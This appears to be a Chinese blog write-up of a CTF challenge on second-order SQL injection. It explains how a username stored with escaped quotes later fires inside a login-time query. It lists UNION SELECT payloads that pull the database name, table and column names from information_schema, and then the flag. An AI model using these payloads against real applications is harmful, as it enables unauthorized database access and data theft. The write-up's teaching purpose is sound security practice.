October 2019 Twice SQL Injection 1

发布时间 2023-11-09 09:43:41作者: J0ck3r

0x01漏洞出发点
根据题目标题提示,该题是一道sql二次注入题

进入题目,可以猜测触发需要先注册用户
登录之后发现可以修改info内容:

但是尝试了单引号,发现被加了斜杆,应该有类似addslashed()的过滤函数。
经过测试,过滤的符号包括:' "
没有过滤:() # ; select union等关键字符
这里傻逼了,info就一个xss,二次注入应该是在
selec info from xxx where username=user and password=pass;
selec info from xxx where username=user;
这种语句里触发,所以应在注册时构造邪恶sql语句,登录后直接触发。

尝试注册了:
user1:pass'
user2:pass"
登录后都没有任何提示语法错误的回显,那就按有以下思路,注册两个用户:
第一个1:password 注册成功后修改info:

第二个1' or '1'='1'#:pass 注册成功后登录:
【理论上应该登录成功并且看到用户1的info,但是...】

登录后没哟进入1账户,但是info内容不会空,是我之前的某个测试账户,证明登录后查找info内容是存在sql二次注入的
触发点:info是上面提到的登录语句的回显。
0x02漏洞利用
注册3' union select database();#:pass
登录后:

爆出数据库名。【这里注意我这边注册的用户名不能是1' union...这样,因为用户1存在内容,而info这里就是把查询结果展示出来】
获取flag的过程如下:

1' union select database() #

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

1' union select flag from flag #

0x03Tips
1、二次注入应该不会在登录时,登录时会对特殊字符转义,应该触发发生在登录后需要展示用户信息时。【小问题,只是涉及到概念问题】